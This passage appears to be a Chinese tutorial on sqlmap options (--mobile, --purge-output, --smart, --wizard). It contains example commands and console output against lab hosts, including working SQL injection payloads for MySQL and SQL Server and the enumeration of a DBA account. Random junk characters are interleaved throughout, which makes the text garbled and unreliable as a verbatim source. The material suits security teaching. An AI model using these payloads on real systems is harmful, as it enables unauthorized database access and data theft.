[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)' 5 G' E! ~! t8 t# n9 e* H[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)'# x* _6 E& } b+ R# `# p
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)' {. t0 A% l8 c5 x4 v
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)') q, U* h% b% J
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)'9 D! |; K3 R5 Q4 }; w* V( D% E" W
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1' 0 Z8 L8 o/ g+ H5 u/ \, S[xx:xx:23] [DEBUG] page not found (404)9 }, C* k/ o& T
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'7 [9 b0 \3 i+ R+ f) ]' ?$ U
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)' 1 U, P- [# i/ X- b6 q' c7 q* R[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)' & H- K/ @$ }; c$ m1 f E[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)'( l0 J- b1 T3 ?0 l
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)' # i: D* ~4 n% ?6 I2 n4 ~8 T[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)'4 z# l+ l( S; _1 B/ H9 t
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper') ; t1 S! `( D* a/ p% X1 E+ a[...]! N6 O. c3 Q; J* `6 g" W6 U
/ F- ?3 E: ~7 }6 w; M `( G4 K5 N
模仿智能手机/ H9 B2 e' O/ Y: b
6 p7 d; L# l2 {
参数:--mobile+ u* \2 [6 X; a3 v( S
x+ k9 m! k6 G) e: _有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。9 c3 N: K( `* M: }& V
6 c* y! U6 |1 q" Y& }' `4 y
例如: - C# w9 W' H2 h2 R6 A6 F3 @: o% f2 b- _! s
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile 0 p; j/ X+ y9 M+ d9 T! q: V0 D h[...] 4 P; `( J* l, K, Q1 Vwhich smartphone do you want sqlmap to imitate through HTTP User-Agent header? ! P, K4 E4 U" A N& `[1] Apple iPhone 4s (default)! `' A8 D& E" I( I. k2 e8 C
[2] BlackBerry 9900( ~& J2 K9 O4 m8 w
[3] Google Nexus 7 ! K' r' O3 p: m! E5 F: G7 C8 O6 `[4] HP iPAQ 6365 * A7 j: G& S5 _' ?8 R# g[5] HTC Sensation " E' U+ U+ q4 U; q[6] Nokia N97 $ g$ V: o# R# b! L: _[7] Samsung Galaxy S/ q6 f3 ]4 r- \" |/ Q
> 15 x- g, j1 w6 z! F3 n: s; V" Q ?) x
[...] ) f) r6 S; j, \1 Q) A: Q }/ K% t8 I* s ?+ O7 y
安全的删除output目录的文件+ }9 ^3 i$ U% D/ G( x+ ?+ J
" r1 ~) h8 H/ w参数:--purge-output' X6 X3 K" ~$ F4 I$ k2 r2 Y9 Z
( Q2 B9 Z3 y3 ?! X$ [: g$ S' N: v
有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。& F3 O9 N+ K1 }; X, m
4 z' [' j* n" X, j# C, K
例如: & Q, }' B) o5 W/ q4 H2 _% @; u7 k ( k: @; Q5 y0 S& _/ w) c8 t6 F0 l$ python sqlmap.py --purge-output -v 30 a1 K4 n' W" q" |
[...] ! X1 I2 t5 l- }9 T' d5 y[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'... % F3 s0 h/ n( y1 f; m& k[xx:xx:55] [DEBUG] changing file attributes $ |* X. ]+ J* E[xx:xx:55] [DEBUG] writing random data to files; ]5 n& E+ J( r5 }2 f1 i' B- N- n
[xx:xx:55] [DEBUG] truncating files 2 z ?( b3 M) N+ D[xx:xx:55] [DEBUG] renaming filenames to random values- v( Q/ T3 N4 D
[xx:xx:55] [DEBUG] renaming directory names to random values) \% y9 ]- c4 U+ q! i. I
[xx:xx:55] [DEBUG] deleting the whole directory tree2 k( B8 [/ o; j. x* @
[...] , I7 }8 a f6 {1 w6 x" ?1 A' U3 u
启发式判断注入1 [7 ^& J1 p2 N! Y, V
1 h( |9 G" U% r) {% S3 b参数:--smart ! H% L' V* ~1 G' r9 P" ^, x 7 i5 c+ w* N6 ?0 H, u有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。 1 W* r6 F2 \0 y6 e / P+ u, p0 d$ p1 i4 O例子: ^' l4 k% L* T+ G : f8 w6 f. F: ?$ Y4 C* G+ M% @$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart C% ?3 y7 F- f( P1 `[...]4 x" b! [. s# O" ^8 o& ~
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic" S0 f& N2 |' k/ w3 r8 L1 t
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic7 y% M: f6 `; q1 Z8 |
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable ' o+ r+ V# @+ x% x) q[xx:xx:14] [INFO] skipping GET parameter 'ca', U. H+ I9 H; o. e' M
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic% j7 v8 k4 `* ^% B( h) G% _
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic5 }6 S* |: b5 x2 f
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable) O% x4 L" p6 c( P; ~) U" J5 m2 r
[xx:xx:14] [INFO] skipping GET parameter 'user' # t! f& |) s I }2 }* m+ G' |[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic( y- g1 s" ^# D7 _* N6 V
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic: \: a' x5 N: Q9 j
[xx:xx:14] [INFO] GET parameter 'id' is dynamic+ X7 F; L0 i% D1 `. l$ H+ S9 r, k& T
[xx:xx:14] [WARNING] reflective value(s) found and filtering out 8 g8 b5 I4 e+ k% z1 \2 v4 t1 r8 o; E) ]0 S[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') 1 m/ `, k+ M, ?# k5 b, L" S[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'! q) z3 J7 I1 q; m
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y % B/ W; r9 E6 Y: S; [5 Ddo you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y' [: o; X/ A; _- E$ S* N
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' % `# o7 `0 h! n! {[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable 4 J& p- f8 a) A( q/ N, q0 A
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' 3 d3 U+ D* W8 W4 D* M[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable 6 o$ L7 J3 F( |) c. H
[xx:xx:14] [INFO] testing 'MySQL inline queries'9 r1 ?7 }& ~* G8 Y6 z/ X
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries' $ L+ E9 v! k" C[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'( w1 I6 a+ f0 {6 D1 T! A
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' ( T; W3 t; ^' D/ J. k[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable " G3 ^# q& x4 ^3 h' r[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' 2 C$ H4 G/ i9 c, \0 g[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found + @; D& S( r* ?5 H5 [[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test 1 J8 q& `( |! U[xx:xx:24] [INFO] target URL appears to have 3 columns in query 4 C2 |$ c5 B6 ~; O: j[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable! V1 h$ n! {4 d! Y) i8 d9 w/ L2 b
[...]. q+ N! F0 Z* @( w3 P
# ~9 ~& {! f2 i2 Z+ P初级用户向导参数0 ~5 D5 I% h" [% N! v- c' L* A8 ^
& o+ o0 l3 a7 I1 r1 b: `3 Z
参数:--wizard 面向初级用户的参数,可以一步一步教你如何输入针对目标注入。 . D; m* |8 \, f$ P1 T9 i8 P* m# N1 s
$ python sqlmap.py --wizard * L- D- p0 u; ~7 O( D9 l2 ^: U, E! W" c% ~/ O7 Z2 h O
sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool, m9 |( k/ d* H8 d9 |1 S' t
; B7 D0 |/ l7 W2 u: j/ H6 b" Ahttp://sqlmap.org" p' Z) G, C4 I
! O! c; L; h- i" I7 A1 V- d& s[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program @% e& n0 N. N: l( E
starting at 11:25:26- ^3 Y8 s' W. C; G2 h
0 D3 O! V3 k2 M6 Z- [* m' W
Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1 ! u5 @! M5 L6 L# B6 ?6 {2 y2 GPOST data (--data) [Enter for None]: $ b& p$ _- ?+ X) f4 o; d" ?6 E
Injection difficulty (--level/--risk). Please choose: % a( t$ V( E0 p( D[1] Normal (default) 6 R0 q8 D+ i1 v" L" \9 l3 a[2] Medium & _( b6 G' k" o! {" a" P[3] Hard : {% G5 L1 [' X( U> 11 t% h2 l* [: a8 o
Enumeration (--banner/--current-user/etc). Please choose:" F/ t9 l! @ `+ I) P, J$ n
[1] Basic (default) . c8 a9 w0 p$ h2 w+ W. \, o! J( ~[2] Smart2 [2 ~2 i8 G/ Y# ~
[3] All! Z6 R/ O9 t& p) s6 Y
> 1 $ h+ ^8 T0 E, p6 h% O& G % n! a% E2 O- c% a! Osqlmap is running, please wait.. * T4 r$ j! r: x! X, c/ a! R1 c+ I# B# N! D3 ~
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y. k* q0 R$ b4 S4 f( G
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] Y 4 S( \$ Z. b) C7 P( G) HGET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N, i3 L, i- N& p+ j! I
sqlmap identified the following injection points with a total of 25 HTTP(s) requests: 6 d9 S- r) g7 _& {+ w) @---+ M# `" k( ]0 I) @6 w$ m! |
Place: GET8 E5 Q% ]- |* Y4 Q3 e7 R# q
Parameter: id 7 m6 ^. Z: `# S P Type: boolean-based blind / W; z( h& d5 g$ f- a0 h Title: AND boolean-based blind - WHERE or HAVING clause2 T) V9 \1 \3 Q, a* K
Payload: id=1 AND 2986=2986, O0 V% I4 Z" `6 v8 i
2 ?8 }* m! l7 h8 C/ ~ Type: error-based ( \, Z8 ~' r9 X0 g7 i. G# t Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause ; L( r# B0 }7 s& G' @# e: C( A1 D Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)))2 _% t& g6 m- l# o+ b$ E
) T" V+ r8 M' ~, F+ \& A1 F ] Type: UNION query " m- ~2 H! f2 Z* x6 D9 A3 m( t Title: Generic UNION query (NULL) - 3 columns 4 ?1 H: c! D9 q m2 P1 H Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)-- : @9 N1 ]2 @2 b# u5 R- k: m: g& F 5 k: h9 C+ b# \, a Type: stacked queries - A1 \7 W$ |2 y O3 S/ ~$ s Title: Microsoft SQL Server/Sybase stacked queries/ O4 h) v+ O- h( ] A. D
Payload: id=1; WAITFOR DELAY '0:0:5'--* R, `: F" x" S, `2 p
$ Q; Y# ~( S R# t- ^
Type: AND/OR time-based blind! q/ g: K* ?$ p$ ~! P' a
Title: Microsoft SQL Server/Sybase time-based blind2 T7 D% J' [' Z& L& ^
Payload: id=1 WAITFOR DELAY '0:0:5'--$ W6 O+ r7 D4 n+ j S K: W+ F
) |! E5 S) C8 A, k% W9 v
Type: inline query 4 f6 B, H; O A/ }+ v Title: Microsoft SQL Server/Sybase inline queries. j' `5 n6 z$ L7 b% Z2 F' E+ K
Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))7 V; G$ J* Z$ l$ I- I7 k
--- 6 Y2 d e9 ~2 ^$ o: C) dweb server operating system: Windows XP8 F1 b% y7 w4 M ?/ ?) ]
web application technology: ASP, Microsoft IIS 5.1# g5 [4 _* A. _6 s
back-end DBMS operating system: Windows XP Service Pack 2 ]5 n4 C7 g: l: u; ]- {back-end DBMS: Microsoft SQL Server 2005 + z, h9 F, h" D) ~, \$ x+ Abanner:. \( l {) ?) \1 `3 o
--- 8 e& h7 m8 Z6 ]Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 6 y. f9 J- v3 O: D8 I6 p- a) T Oct 14 2005 00:33:37 % N0 t0 O1 y5 Z* m8 v) }( P
Copyright (c) 1988-2005 Microsoft Corporation; I/ z4 W1 u6 W4 {% G& V+ Y
Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2) - ~( T. {$ w, p* ]* }/ r: ~---* c g8 L! E9 L! }" _0 H- P
current user: 'sa' $ x! K' g7 L* }* R n3 s+ Hcurrent database: 'testdb'6 b8 o. K3 p, e2 h, M
current user is DBA: True